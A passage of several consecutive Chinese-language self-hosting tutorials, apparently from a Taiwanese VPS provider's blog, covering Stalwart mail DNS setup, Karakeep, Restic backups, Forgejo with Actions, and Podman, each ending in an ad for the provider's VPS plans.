4. DKIM：在 Stalwart Web 後台產生金鑰，把 selector 那串 TXT 加到 DNS
5. DMARC：_dmarc.example.com TXT 記錄寫 v=DMARC1; p=quarantine; rua=mailto:postmaster@example.com
6. PTR：請 VPS 服務商把 IP 的反查指向 mail.example.com

PTR 是最常被忽略的一項，也是最致命的。Gmail 收到郵件後會反查發送方 IP，如果反查結果跟 EHLO 宣告的主機名稱對不上，那封信幾乎一定進垃圾匣。臺灣本地的 VPS 服務商在這方面差異很大，有些後台直接讓你改 PTR，有些要開 ticket。下訂 VPS 之前先確認這項，比事後想搬家容易得多。

Port 25 才是真正的天花板

技術設定全部做對，最後撞上的天花板叫 port 25。AWS、Azure、Google Cloud 預設封 25 對外出站，要解封要填表、說明用途、等審核。DigitalOcean、Vultr、Linode 通常要求新帳號跑滿幾個月才會開。對於想架信箱的人來說，VPS 提供商願不願意給 port 25 比規格高低重要得多。

選 VPS 時可以直接寫信問業者：是否預設開放 port 25 對外出站、是否能設定 PTR。臺灣本地的 VPS 業者在這方面通常彈性比較大，至少不會把 25 當預設封鎖。一旦業者點頭，剩下的就是把 Stalwart 跑好。

反垃圾與信譽：技術解決不了的部分

Stalwart 內建的反垃圾在實測中表現不錯，貝氏分類器加上 DNSBL 查詢，對量小的個人信箱足以擋掉九成以上的垃圾郵件。但反向的問題更難：如何讓你寄出去的信不被當垃圾。

新申請的 IP 沒有信譽分數，前幾週寄出去的信很可能直接被 Gmail 丟掉。解法只有一個，叫 IP warm-up——前兩週只寄少量信給願意收的對象，慢慢累積發送量。Stalwart 沒有自動 warm-up 功能，這部分要靠人工控制。

如果是電子報這類大量發送，建議搭配 Postmark、Amazon SES 或自架 Postal 作為出站轉發。Stalwart 處理收信和個人寄信很適合，但商業級的大量寄送需要更專門的工具。

Stalwart 還缺什麼

要說缺點，目前最明顯的是沒有內建 Webmail。Stalwart 提供 JMAP API，但 Web 介面只有管理後台，沒有讓使用者收發信件的頁面。實務上要另外搭一個 Roundcube、SnappyMail 或新一代的 JMAP 客戶端如 Cypht。

中文文件相當稀缺，遇到問題大多要翻官方英文文件或 GitHub issue。社群規模比 Mailcow 小，踩到問題不一定能在中文討論區找到答案。

對於跑了五年以上的 Mailcow 用戶來說，從 Stalwart 0.x 跳過去是有風險的。1.0 還沒釋出，資料庫 schema 還在收斂，未來升級可能需要遷移工具。

該換還是不該換

如果是從零開始架信箱、預算或機器資源有限、想用 JMAP、不需要太花俏的 Webmail，Stalwart 是目前最值得試的選項。512MB 記憶體就能跑、一支 binary 包辦所有事，運維負擔遠低於 Mailcow。

如果現有 Mailcow 跑得很順、團隊已經習慣 SOGo Webmail、需要 ClamAV 防毒整合、寄信量大且需要詳細 deliverability 追蹤，那暫時沒有非換不可的理由。等 Stalwart 1.0 釋出、生態圈成熟一些再評估也不遲。

如果只是想做企業出站郵件追蹤（電子報、API 寄信），Postal 仍然是專門解這個問題的工具，Stalwart 並不是這個方向。

自架信箱的成敗從來不只在於選了哪個軟體，VPS 提供商願不願意開 port 25、能不能設定 PTR、機房 IP 的信譽分數，才是決定郵件能不能順利送達的根本。NCSE Network 在臺灣是方電訊機房提供的 VPS 預設開放 port 25 對外，PTR 可在後台自助設定，搭配 Intel Gold CPU 與 NVMe SSD，跑 Stalwart 這類 Rust 應用所需資源遠低於規格上限。想自架信箱伺服器或其他需要乾淨 IP 的服務，可以參考 NCSE Network 的 VPS 方案。

直到 Karakeep 把這件事重新定義。它的前身是 2024 年走紅的 Hoarder，今年初改名重整之後，把書籤管理、AI 自動分類、全文檢索、瀏覽器擴充與行動 App 整套打包，GitHub 星數半年內突破三萬。對於想擺脫 SaaS、又不願意放棄智慧型功能的使用者，這套自架書籤系統補上了長期缺席的那一塊。

不只是書籤，是一個會自己歸檔的數位倉庫

Karakeep 的定位比傳統閱讀清單更廣。除了存連結，它同時支援純文字筆記、圖片、PDF 三種主要型態，每一筆都會經過後台 worker 處理：抓取網頁原文、用 monolith 把完整頁面封存成單一 HTML、用 yt-dlp 把 YouTube 影片下載備份、用 Tesseract 對圖片做 OCR。原始來源網站關站了也不影響資料。

抓回來的內容會丟進 Meilisearch 做全文索引。輸入幾個關鍵字就能跨連結、筆記、PDF 一起搜，速度比想像中快——Meilisearch 在這個資料量級下單核心就能撐住每秒上百筆查詢。

對 RSS 玩家而言還有一個亮點：訂閱來源後 Karakeep 會自動把每篇新文章加進清單，整套變成「個人化的長期保存型 RSS 閱讀器」。這跟 Pocket 過去單純存連結的模式已經是兩種產品。

AI 自動標籤把整理這件事從手動變成自動

Karakeep 最有辨識度的功能是 LLM 自動分類。每一筆新書籤進來，後台會把抓到的網頁內文送進設定好的語言模型，要求它產出三到五個語意相關的標籤，再附上一段不超過兩百字的摘要。

支援的後端不限於 OpenAI。設定 OPENAI_BASE_URL 與 OPENAI_API_KEY 兩個環境變數就能改指向任何 OpenAI 相容介面，這代表 Ollama、vLLM、LM Studio、甚至自架的 LiteLLM proxy 都能直接接上。在 VPS 上跑一個 7B 等級的開源模型（Llama 3、Qwen 2.5、Mistral），分類品質已經夠用，每筆書籤的成本是零。

實務上有兩個值得注意的細節。一是模型不需要很大：tagging 任務對推理品質的要求遠低於對話，3B 到 8B 的模型表現足夠，硬塞 70B 反而讓單筆處理時間從幾秒變成幾十秒。二是 tagging 與 summary 可以分開設定不同模型，常見組合是用小模型做標籤、用大一點的做摘要，整體吞吐量更高。

若手邊沒有 GPU 而 CPU 又跑不動 LLM，把 tagging 流量導向 OpenAI 也是務實選擇。粗估每千筆書籤的 API 成本不到一美元，遠低於把整套 LLM 自己撐起來的硬體投入。

服務拆分：四到六個容器組成的後台

Karakeep 不是單體應用，docker-compose 一拉起來會跑出幾個獨立容器，各自負責不同職責：

• web：Next.js 前端與 tRPC API，使用者點到的所有介面都從這裡來。
• workers：背景處理佇列，所有抓取、OCR、AI 標籤、影片下載都在這層完成，是整套系統最吃資源的部分。
• meilisearch：全文搜尋引擎，獨立常駐。
• chrome 或 browserless：無頭瀏覽器，負責渲染 JavaScript 站台與封存頁面。
• 可選的 ollama：本地 LLM 推論，若使用雲端 API 則不需要。

最低資源建議是 2 vCPU、4 GB 記憶體。若同時啟用本地 LLM，至少要拉到 4 vCPU、8 GB；想跑 GPU 推論的話另外掛一張入門卡也夠用。儲存方面，Karakeep 會把每筆書籤的 HTML 快照與圖片存進磁碟，重度使用者每萬筆書籤大約佔用 10 到 20 GB，視是否啟用影片封存而定。

一份能直接動的 docker-compose

官方 repo 提供完整範例，實際部署可以濃縮成這樣的骨架：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

services:
  web:
    image: ghcr.io/karakeep-app/karakeep:release
    restart: unless-stopped
    volumes:
      - data:/data
    environment:
      MEILI_ADDR: http://meilisearch:7700
      BROWSER_WEB_URL: http://chrome:9222
      OLLAMA_BASE_URL: http://ollama:11434
      INFERENCE_TEXT_MODEL: qwen2.5:7b
      DATA_DIR: /data
    ports:
      - "3000:3000"

  chrome:
    image: gcr.io/zenika-hub/alpine-chrome:123
    restart: unless-stopped
    command:
      - --no-sandbox
      - --remote-debugging-address=0.0.0.0
      - --remote-debugging-port=9222
      - --hide-scrollbars

  meilisearch:
    image: getmeili/meilisearch:v1.13
    restart: unless-stopped
    environment:
      MEILI_NO_ANALYTICS: "true"
    volumes:
      - meili_data:/meili_data

volumes:
  data:
  meili_data:

外層通常套一層 Caddy 或 Nginx Proxy Manager 處理 HTTPS。授權設定建議走 OIDC：Karakeep 支援 Authentik、Pocket ID、Authelia 等任何 OIDC 提供者，這比預設的內建帳號好管理。

NEXTAUTH_SECRET 與 MEILI_MASTER_KEY 千萬不要用範例值，用 openssl rand -base64 36 各產一組塞進去。生產環境還要把 web 的 port 從 host 拿掉，只透過反向代理對外。

整理舊資料：從 Pocket 匯出到 Karakeep 的路徑

Mozilla 在關站前提供了完整的匯出機制，使用者可以下載一份 HTML 格式的 Pocket 書籤檔。Karakeep 內建解析這個格式的功能，從設定頁進入「Import / Export」上傳就好，標籤與 archive 狀態都會保留。

匯入完還有一個有趣的玩法：對所有舊書籤強制重新跑一次 AI 標籤。Pocket 多年累積的資料往往沒分類或標籤亂七八糟，跑完 LLM 之後整套會被重新組織得很清爽。這個操作在 worker queue 會排隊跑很久，視書籤數量可能要幾小時到一兩天，安排在離峰時段比較不會卡到日常使用。

自架的代價值不值得

Karakeep 把 Pocket 十年來做的事情重做一次，再加上 AI 與資料主權，問題是這份體驗的維護成本誰扛。

明顯的優勢有三點：資料完全在自己手上、AI 標籤可以選擇不出境、長期成本比商業方案低很多。代價也清楚——每月要花時間更新容器、處理 Meilisearch 偶爾出現的 index 失敗、注意 worker queue 是否塞車。對於每天會用到的工具來說，這份維護心力通常值得；對於一年點開兩次的服務則未必。

另一個常被低估的成本是頻寬。Karakeep 預設會把每個網頁完整封存下來，外加圖片和影片，重度使用者一個月吃掉幾十 GB 流量並不誇張。VPS 的傳輸量計算要事先看清楚，避免月底超量。

選 VPS 時建議優先看記憶體與磁碟，CPU 反而不是瓶頸——除非要在同一台跑本地 LLM。NVMe SSD 對 Meilisearch 的索引建立速度差異明顯，普通 SATA SSD 在書籤過萬之後會感受到搜尋變慢。

結語與下一步

Pocket 的退場讓自架書籤管理從「技術愛好者的玩具」變成正常人也該考慮的選項。Karakeep 在這個時間點補上 AI 自動化與行動端體驗，把過去自架方案最弱的兩個環節同時解決，幾乎是目前唯一能直接對標 SaaS 的選擇。

要把 Karakeep 跑得穩，底層 VPS 的選型比想像中重要。NCSE Network 提供位於臺灣是方電訊機房的 VPS，採用 Intel Gold CPU、NVMe SSD，IPv4 與 IPv6 雙堆疊，網路出口直連多家上游，適合需要長期保存資料又重視低延遲存取的自架應用。前往 ncse.tw 了解方案細節，把閱讀清單真正搬回自己的伺服器。

但這不是備份，這只是把資料複製一份。誤刪同步過去之後就回不來；勒索病毒加密原始檔的同時，也加密了 rsync 出來的副本；異地儲存的 SSH 金鑰一旦外洩，整批備份檔案立刻變成攻擊者的提款機。

正式的備份系統需要去重、加密、版本化、可還原驗證、自動排程。Restic 把這些事情收進同一支工具裡，2026 年的 0.18 版已經夠成熟到可以直接放上生產環境。

rsync 為什麼不適合當備份方案

rsync 是同步工具，不是備份工具。這兩件事的差別在於「歷史」。

一個健康的備份系統，必須能讓使用者回到任何一個過去的時間點還原資料。rsync 預設會把目標端覆寫成跟來源一致，意思是上週某個檔案被誤改、誤刪，下次 rsync 跑完，這個錯誤就被永久同步到備份端。--backup 旗標雖然能保留舊版本，但管理複雜度極高，沒有去重，磁碟空間爆炸只是時間問題。

加密也是個問題。rsync 透過 SSH 傳輸時是加密的，但備份端的檔案本身是明文。備份伺服器一旦被入侵，等於資料外洩。Restic 採用的是 client-side encryption，連備份儲存空間的擁有者都讀不到內容。

最後是去重。同一個檔案的不同版本之間，rsync 看到的是兩個獨立檔案；Restic 看到的是 4MB 一塊的 chunk，相同的 chunk 只存一次。一個 100GB 的目錄，每天備份跑滿一年，Restic 實際用掉的儲存空間可能只有 150GB。rsync 配合 hardlink 也能做到類似效果，但複雜度和邏輯漏洞都遠超合理範圍。

Restic 的儲存格式只有三種物件

Restic 的儲存格式只用 snapshot、tree、blob 三種物件。snapshot 是某個時間點的備份指標，tree 描述目錄結構，blob 是實際的檔案內容切片。每個 blob 用 SHA-256 雜湊命名，全 repository 範圍去重——同一段內容只存一次，無論它在多少個檔案、多少次 snapshot 裡出現。

寫入儲存空間之前，所有資料都會用 AES-256-CTR 加密、Poly1305 簽章。repository 密碼透過 scrypt 衍生出主金鑰，主金鑰再加密每個 blob 的內容金鑰。只要密碼夠強，備份檔案放在誰的雲端都不會構成資料外洩風險。

snapshot 本質上是不可變的。新的備份不會修改舊的 blob，只會新增新的 chunk 跟新的 snapshot 指標。除非主動執行 forget 加 prune，否則歷史紀錄不會消失。配上儲存端的物件鎖定（例如 S3 Object Lock 或 Backblaze B2 file retention），可以做到真正能抵擋勒索病毒的不可變備份。

Restic 跟 Borg 該選哪一個

兩個都是去重加密的開源備份工具。Borg 比較早出，效能略勝一籌，壓縮選項更豐富。Restic 比較晚出，但內建原生 S3、B2、Azure Blob、Google Cloud Storage 支援，不需要額外 wrapper。

對 2026 年新建立的備份流程，Restic 是更直接的選擇，理由有三個：

現代備份策略越來越多以物件儲存為目的地，Restic 跟物件儲存的整合是原生的。Borg 需要透過 borgbackup-S3 之類的 wrapper，多一層整合就多一層出錯機會。

跨平臺支援上，Restic 是純 Go 寫的，Linux、macOS、Windows、FreeBSD 都有原生二進位檔；Borg 在 Windows 上只能透過 WSL，對混合環境不友善。

最後是多客戶端共用 repository。Restic 設計上就支援多臺機器同時寫入同一個 repo，整個 fleet 之間的去重會自動進行。Borg 雖然有相關修補，但官方仍建議一臺機器一個 repo。

效能上 Borg 確實仍有優勢，但對絕大多數 VPS 工作負載來說，差距已經不足以構成決策因素。

備份目的地的選擇

備份的第一原則：不能跟原始資料放在同一臺機器上。VPS 硬碟壞掉的時候，本地備份跟原始檔案一起陪葬。

實務上推薦的目的地有三種：

物件儲存（S3、B2、R2、Wasabi）：Restic 原生支援，價格便宜，可靠性高。Backblaze B2 跟 Cloudflare R2 沒有取回費用，比 AWS S3 標準等級實惠很多。跨境傳輸延遲不是問題的話，這是最省事的選擇。

另一臺 VPS 的 SFTP：兩臺機器分散在不同機房，互相備份。延遲低、頻寬通常充足，但需要自己管理那臺機器的可用性。

rclone 中繼：當儲存端是 WebDAV、OneDrive、Google Drive 之類 Restic 不直接支援的協定時，可以用 rclone 當橋接。設定稍微複雜，但選項變得非常多。

備份頻寬會吃對外流量。如果 VPS 採流量計費，需要評估每日增量大小跟資費的關係——Restic 的 chunk 去重會讓增量小很多，通常一個 50GB 的服務每天新增資料量在 100MB 以下。

從零建立第一個備份

Debian/Ubuntu 直接用套件管理器安裝：

1
2

apt install restic
restic self-update

self-update 會把套件管理器裝的舊版升級到最新二進位檔。Restic 的版本更新節奏快，套件庫的版本通常落後好幾個版本，影響效能跟相容性。

以 Backblaze B2 為例，初始化 repository：

1
2
3
4
5
6

export B2_ACCOUNT_ID=your_key_id
export B2_ACCOUNT_KEY=your_application_key
export RESTIC_REPOSITORY=b2:my-backup-bucket:/server01
export RESTIC_PASSWORD_FILE=/root/.restic-password

restic init

密碼放在 /root/.restic-password 並設定 chmod 600，避免出現在 shell 歷史紀錄裡。這個密碼一旦遺失，整個 repository 將永遠無法解密。建議用 1Password、Bitwarden 之類的工具離線備份這串密碼。

第一次備份：

1
2
3

restic backup /etc /home /var/lib/docker/volumes \
  --exclude='/var/lib/docker/volumes/*/_data/*.log' \
  --tag daily

--exclude 可以避開不必要的大檔（log、快取、臨時檔），減少 chunk 處理時間跟儲存用量。--tag 之後可以用 restic snapshots --tag daily 篩選。

用 systemd Timer 排程

cron 也能跑，但 systemd Timer 在錯過排程後可以補跑、有 journal 紀錄、能跟其他 unit 串接相依，幾乎所有現代 Linux 發行版都應該優先用 timer。

/etc/systemd/system/restic-backup.service：

1
2
3
4
5
6
7
8
9
10
11
12

[Unit]
Description=Restic backup
After=network-online.target
Wants=network-online.target

[Service]
Type=oneshot
EnvironmentFile=/etc/restic/env
ExecStart=/usr/bin/restic backup /etc /home /var/lib/docker/volumes --tag daily
ExecStartPost=/usr/bin/restic forget --keep-daily 7 --keep-weekly 4 --keep-monthly 12 --prune
Nice=19
IOSchedulingClass=idle

/etc/systemd/system/restic-backup.timer：

1
2
3
4
5
6
7
8
9
10

[Unit]
Description=Daily restic backup

[Timer]
OnCalendar=03:30
RandomizedDelaySec=30m
Persistent=true

[Install]
WantedBy=timers.target

Persistent=true 確保機器當機過、錯過排程後，下次啟動會立刻補跑。RandomizedDelaySec 避免 fleet 裡所有機器同時打物件儲存的 API rate limit。Nice=19 跟 IOSchedulingClass=idle 讓備份在系統閒置時才搶 CPU 跟磁碟。

啟用：

1
2
3

systemctl daemon-reload
systemctl enable --now restic-backup.timer
systemctl list-timers restic-backup.timer

保留策略不是越久越好

restic forget 跟 restic prune 是兩件事。forget 移除 snapshot 指標，prune 真的把不再被任何 snapshot 引用的 blob 刪掉。沒跑 prune，磁碟用量只會一路漲。

合理的保留策略應該根據 RPO（Recovery Point Objective）反推。常見的範本是 GFS（Grandfather-Father-Son）：

1
2
3
4

--keep-daily 7       # 過去 7 天每天留一份
--keep-weekly 4      # 過去 4 週每週留一份
--keep-monthly 12    # 過去 12 個月每月留一份
--keep-yearly 3      # 過去 3 年每年留一份

這份範本能在約 25 個 snapshot 內覆蓋三年的還原能力。實際儲存用量取決於去重率，通常落在原始資料量的 1.2 到 2 倍之間。

prune 是高 IO 的操作，可能跑數小時。生產環境建議每週跑一次，搭配 --max-unused 10% 控制觸發門檻，平衡儲存成本跟 IO 影響。

沒測試過的備份等於沒備份

備份系統最常見的失敗模式不是備份跑不起來，而是備份跑了很多年，結果發現還原不出來。原因可能是密碼忘了、權限錯了、依賴的元資料沒一起備、還原指令從來沒人練習過。

每個季度應該做一次完整還原演練。挑一臺乾淨的 VPS 或本地 VM，用備份還原出一份完整資料，啟動服務，確認業務邏輯能跑。

Restic 提供兩個輕量的常態檢查：

1
2

restic check                          # 檢查 metadata 完整性
restic check --read-data-subset=5%    # 隨機抽 5% data blob 驗證雜湊

check --read-data-subset=5% 每週跑一次，可以及早發現儲存端的位元損壞或加密金鑰錯誤。完整的 --read-data 會把整個 repo 重新下載校驗，每季跑一次足夠。

把備份狀態接上監控

備份失敗如果沒人發現，就跟沒備份一樣。最簡單的做法是接 Healthchecks.io 或自架版本：

1
2
3
4
5
6

[Service]
ExecStartPre=-/usr/bin/curl -fsS -m 10 --retry 5 \
  https://healthchecks.example.com/ping/<uuid>/start
ExecStart=/usr/local/bin/restic backup ...
ExecStartPost=/usr/bin/curl -fsS -m 10 --retry 5 \
  https://healthchecks.example.com/ping/<uuid>

只要備份失敗或漏跑，Healthchecks 就會發 email、Telegram 或 webhook 通知。重點是這個監控本身要部署在備份目標所在地以外的機器，避免單點故障同時殺掉備份跟告警。

Restic 0.18 開始強化 --json 輸出，方便接 Prometheus 或自家儀表板：

1

restic stats --mode raw-data --json | jq '.total_size'

把這個數字推上 Grafana 之後，repository 大小的異常變化（突然暴漲、停止增長）會被看見。

把備份當成基礎設施的一部分

備份不是「設定一次就忘了」的東西，而是一條需要持續驗證的流程。Restic 把加密、去重、增量、雲端整合這幾件本來要拼湊好幾個工具才能做完的事，收進一支二進位檔，搭配 systemd Timer 跟物件儲存，能在一個下午內把整套流程建立起來。

剩下的就是堅持每季做還原演練、確保監控還活著、密碼還記得。資料的命運不該交給天意。

NCSE Network 的 VPS 主機座落於臺灣是方電訊機房，採用 Intel Gold CPU 與 NVMe SSD，提供穩定的 I/O 表現，是 Restic 備份來源端的理想選擇。如需規劃跨機房備援架構，歡迎前往 ncse.tw 了解 VPS 與 IP Transit 服務。

Forgejo 是目前自架 Git 平台最值得關注的選項。它從 Gitea 分支出來，由非營利社群治理，用 Go 寫成單一 binary，512MB RAM 就能跑起來。關鍵賣點是 Forgejo Actions——一套與 GitHub Actions 語法高度相容的 CI/CD 系統，既有的 workflow YAML 幾乎不用改就能搬過來。2026 年 4 月釋出的 v15.0 LTS 進一步補上了 ephemeral runner、OIDC 認證、repository-scoped token 等生產環境需要的功能。

Gitea 還在，為什麼要選 Forgejo

Gitea 跟 Forgejo 長得幾乎一樣，功能也高度重疊，但治理模式完全不同。

Gitea 在 2022 年成立了商業公司 Gitea Ltd.，核心開發資源開始向付費的 Gitea Cloud 傾斜。社群貢獻者發現 PR review 變慢、討論透明度下降，於是一群人在同年分支出 Forgejo，交給 Codeberg e.V.（德國非營利組織）管理。Forgejo 承諾所有程式碼永遠是自由軟體，不走開放核心（open core）的商業路線。

實務上的差異：Forgejo 的安全修補通常比 Gitea 快，每月固定出 patch release。v15.0 拿到 LTS 標記，官方支援到 2027 年 7 月。授權方面，Forgejo 採 GPL，Gitea 是 MIT——前者確保任何衍生版本都必須開源，後者允許被包進專有產品。長期維運來看，Forgejo 是比較穩的選擇。

Docker Compose 部署

一台跑 Ubuntu 24.04 的 VPS，2 核 CPU、2GB RAM 就夠。先確認 Docker Engine 24 以上和 Docker Compose plugin 已經裝好。

建立工作目錄：

1

mkdir -p /opt/forgejo && cd /opt/forgejo

建立 docker-compose.yml：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

networks:
  forgejo:
    external: false

services:
  server:
    image: codeberg.org/forgejo/forgejo:15
    container_name: forgejo
    environment:
      - USER_UID=1000
      - USER_GID=1000
      - FORGEJO__database__DB_TYPE=postgres
      - FORGEJO__database__HOST=db:5432
      - FORGEJO__database__NAME=forgejo
      - FORGEJO__database__USER=forgejo
      - FORGEJO__database__PASSWD=changeme
      - FORGEJO__actions__ENABLED=true
    restart: always
    networks:
      - forgejo
    volumes:
      - ./forgejo-data:/data
      - /etc/localtime:/etc/localtime:ro
    ports:
      - '3000:3000'
      - '222:22'
    depends_on:
      db:
        condition: service_healthy

  db:
    image: postgres:16-alpine
    container_name: forgejo-db
    environment:
      - POSTGRES_USER=forgejo
      - POSTGRES_PASSWORD=changeme
      - POSTGRES_DB=forgejo
    restart: always
    networks:
      - forgejo
    volumes:
      - ./postgres-data:/var/lib/postgresql/data
    healthcheck:
      test: ["CMD", "pg_isready", "-U", "forgejo"]
      interval: 10s
      timeout: 5s
      retries: 5

啟動服務：

1

docker compose up -d

打開 http://你的IP:3000，第一次進入會看到安裝精靈。資料庫欄位已被環境變數填好，確認網站 URL 和管理員帳號後按下安裝就完成了。整個過程不到五分鐘。

裝完後立刻建立管理員帳號——Forgejo 預設讓第一位註冊者成為管理員，拖著不設定等於把管理權限暴露在公網上。

正式環境加上反向代理

3000 port 直連只適合測試。正式環境該在前面架 Caddy 或 Nginx 處理 HTTPS。以 Caddy 為例，Caddyfile 三行搞定：

1
2
3

git.yourdomain.com {
    reverse_proxy localhost:3000
}

同時把 docker-compose.yml 裡的 ports 從 '3000:3000' 改成 '127.0.0.1:3000:3000'，讓 Forgejo 只接受本機連線。SSH 的 222 port 維持對外，方便 git clone 走 SSH 協定。

Forgejo Actions：自己的伺服器跑自己的 CI/CD

Forgejo Actions 直接相容 GitHub Actions 的 workflow 語法。.forgejo/workflows/ 目錄放 YAML 檔，on: [push]、jobs、steps、uses 這些關鍵字和 GitHub 一模一樣。GitHub Marketplace 上多數主流 action（像 actions/checkout@v4、actions/setup-node@v4）直接搬過來就能用，不需要改寫。

上面的 docker-compose.yml 已經透過 FORGEJO__actions__ENABLED=true 啟用了 Actions。接下來要起一個 runner 來實際執行 CI job。

到 Forgejo 管理介面的 Site Administration → Runners，點選 Create Runner 取得 registration token。然後回到 /opt/forgejo，在 docker-compose.yml 裡加入 runner 服務：

1
2
3
4
5
6
7
8
9
10
11
12
13

runner:
  image: data.forgejo.org/forgejo/runner:6
  container_name: forgejo-runner
  depends_on:
    - server
  environment:
    - DOCKER_HOST=unix:///var/run/docker.sock
  volumes:
    - ./runner-data:/data
    - /var/run/docker.sock:/var/run/docker.sock
  restart: always
  networks:
    - forgejo

注意：runner 掛載 /var/run/docker.sock 代表它擁有主機 Docker 的完整控制權（等同 root 權限）。正式環境建議把 runner 放在獨立 VM/主機或採用更強隔離的執行方式，避免 CI 工作負載影響到整台伺服器。

啟動 runner 容器後，執行註冊指令：

1
2
3
4
5

docker compose exec runner forgejo-runner register \
  --instance http://server:3000 \
  --token <你的-registration-token> \
  --name vps-runner \
  --no-interactive

註冊成功後重啟 runner 讓設定生效：

1

docker compose restart runner

到任一 repository 的 Settings → Units 確認 Actions 已勾選，然後在專案根目錄建 .forgejo/workflows/ci.yaml：

1
2
3
4
5
6
7
8
9
10
11
12
13

on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: docker
    steps:
      - uses: actions/checkout@v4
      - name: Run tests
        run: |
          echo "Running tests..."
          npm ci && npm test

Push 到 main，Actions 頁籤就會出現執行記錄。從原始碼到 build artifact 到 runner 的運算時間，全部在自己的 VPS 上完成，沒有免費額度的問題，也不會因為 GitHub 的 runner queue 排隊等半天。

v15.0 值得注意的三件事

Ephemeral runner 讓 runner 執行完一個 job 後自動銷毀 credential 並退出。搭配 Docker 或 systemd 的自動重啟機制，就能做到「用完即丟」的 runner 池——每個 CI job 拿到的都是一次性 token，沒有長期憑證留在機器上被利用。

Repository-scoped access token 把 API token 的權限收窄到特定 repository。以前只能建 user-level token，權限過大；現在可以為每個自動化流程只開放它需要存取的 repo，符合最小權限原則。

Workflow OIDC 認證 讓 CI job 用 Forgejo 簽發的 JWT 存取第三方服務，不需要把 static token 塞進 CI secret。這個功能等同 GitHub 的 OIDC identity provider，想串接雲端部署或 container registry 時能避免靜態金鑰外洩的風險。

什麼情境不適合自架

自架 Git 平台不是零成本。Forgejo 本身很輕，但維護負擔在其他地方。

備份是最容易被忽略的環節。Git repository 資料、PostgreSQL metadata、Actions artifact——三個地方都要定時備份到異地儲存。Forgejo 內建 forgejo dump 指令能打包整份資料，但排程和遠端同步得自己用 cron 加 rclone 或類似工具串起來，沒人盯就等於沒備份。

升級也需要持續關注。Forgejo 每月出 patch，LTS 每季一次，偶爾會有 breaking change——v15.0 就改了預設 cookie 名稱和 rootless 部署的設定路徑。小團隊如果沒有人願意定期讀 release notes，GitHub 或 GitLab SaaS 反而更省心。

Action 的生態系也比不上 GitHub Marketplace。多數主流 action 能用，但遇到深度依賴 GitHub API 的 action（例如直接呼叫 GitHub REST API 取 PR 資訊的套件）就需要改寫。如果團隊的 workflow 大量仰賴 GitHub-specific 的整合，搬遷成本可能高於預期。

適合的場景很明確：三到五人的開發團隊、希望程式碼和 CI/CD 留在自己的基礎設施上、有人願意每月花一小時處理更新與備份。符合這些條件，Forgejo 的投資報酬率很高。

把開發基礎設施留在自己手上

Forgejo 把 Git hosting、code review、issue tracking、container registry 和 CI/CD 收進同一套平台，跑在一台 VPS 上只佔 512MB RAM。對重視資料主權和部署自主性的團隊來說，這是門檻最低的完整方案。需要一台穩定的 VPS 來跑 Forgejo，NCSE Network 提供臺灣是方電訊機房的雲端主機，搭載 Intel Gold CPU 與 NVMe SSD，延遲低、效能穩定，支援 7 天免費試用，直接開機測試整套部署流程。

Podman 從設計階段就走了不同的路。沒有 daemon、預設 rootless、CLI 語法和 Docker 幾乎完全相容。對已經熟悉 Docker 的人來說，遷移成本低到可以忽略。

架構差異：daemon 與 fork-exec 的根本分歧

Docker 的運作模型是 client-server：你下的每一條 docker run 指令都是透過 REST API 送給 dockerd，由 daemon 去呼叫 containerd 和 runc 來建立容器。這代表 daemon 是單點故障——它 crash 了，所有容器的管理介面就斷了。

Podman 用的是 fork-exec 模型。每次執行 podman run，Podman 直接 fork 出 conmon（container monitor）程序來管理容器的生命週期，不需要任何背景 daemon。容器程序是你的 shell 的子程序，用 ps 就能看到完整的程序樹。

這個設計帶來一個附帶好處：systemd 可以直接管理容器。Docker 需要額外的 wrapper script 才能被 systemd 正確追蹤，Podman 天生就跟 systemd 合得來。

安裝與基本使用

在 Ubuntu 24.04 LTS 和 Debian 12 上：

1

sudo apt update && sudo apt install -y podman

RHEL 系列（AlmaLinux、Rocky Linux）預設就有 Podman，不需要額外安裝。

裝完之後，試試看：

1

podman run --rm docker.io/library/alpine echo "hello from podman"

注意 Podman 預設需要完整的 image reference（docker.io/library/alpine 而不只是 alpine）。如果你不想每次都打完整路徑，編輯 /etc/containers/registries.conf：

1

unqualified-search-registries = ["docker.io"]

加了這行之後 podman run alpine 就跟 Docker 一樣的行為。

對於已經習慣打 docker 的人，設定一個 alias 就能無痛過渡：

1

echo 'alias docker=podman' >> ~/.bashrc

這不是開玩笑——Podman 的 CLI 介面就是照著 Docker 做的，超過 95% 的指令和參數都完全相同。

Rootless 容器到底改變了什麼

Docker 的 rootless mode 要另外設定，而且有不少限制。Podman 的 rootless 是預設值，不需要任何額外設定。

在 rootless 模式下，容器程序映射到你的使用者 UID namespace 裡。即使容器內部的程序以 root（UID 0）執行，在宿主機上它對應的是一個無特權的 UID。這表示就算容器被攻破、攻擊者拿到容器內的 root，他在宿主機上什麼都做不了。

1
2
3
4
5
6

# 以一般使用者執行
podman run -d --name web -p 8080:80 docker.io/library/nginx

# 檢查宿主機上的程序
ps aux | grep nginx
# 你會看到 nginx 程序跑在你的使用者帳號下，不是 root

有一個實務上要注意的地方：rootless 模式下，bind mount 的檔案權限可能跟你預期的不同。容器內的 root（UID 0）對應到宿主機上的 subuid 範圍，所以直接掛載的目錄可能出現權限被拒。解決方式是在 volume 掛載時加上 :Z 標籤（SELinux 環境）或使用 --userns=keep-id 把容器的 UID 對應回宿主機使用者：

1

podman run -v ./data:/app/data:Z --userns=keep-id myapp

Quadlet：用 systemd 管理容器的正確方式

Podman 4.4 之後引入的 Quadlet 是目前在單機上管理容器最優雅的方式。你寫一個類似 INI 格式的 .container 檔案，systemd 會在 daemon-reload 時自動把它轉成標準的 service unit。

以跑一個 Nginx 容器為例，建立 ~/.config/containers/systemd/web.container：

1
2
3
4
5
6
7
8
9
10

[Container]
Image=docker.io/library/nginx:1.27-alpine
PublishPort=8080:80
Volume=./html:/usr/share/nginx/html:ro,Z

[Service]
Restart=always

[Install]
WantedBy=default.target

然後：

1
2
3

systemctl --user daemon-reload
systemctl --user start web
systemctl --user enable web

就這樣。你的 Nginx 容器現在是一個標準的 systemd service，可以用 systemctl status、journalctl 來查看狀態和日誌，機器重開後自動啟動，crash 後自動重啟。

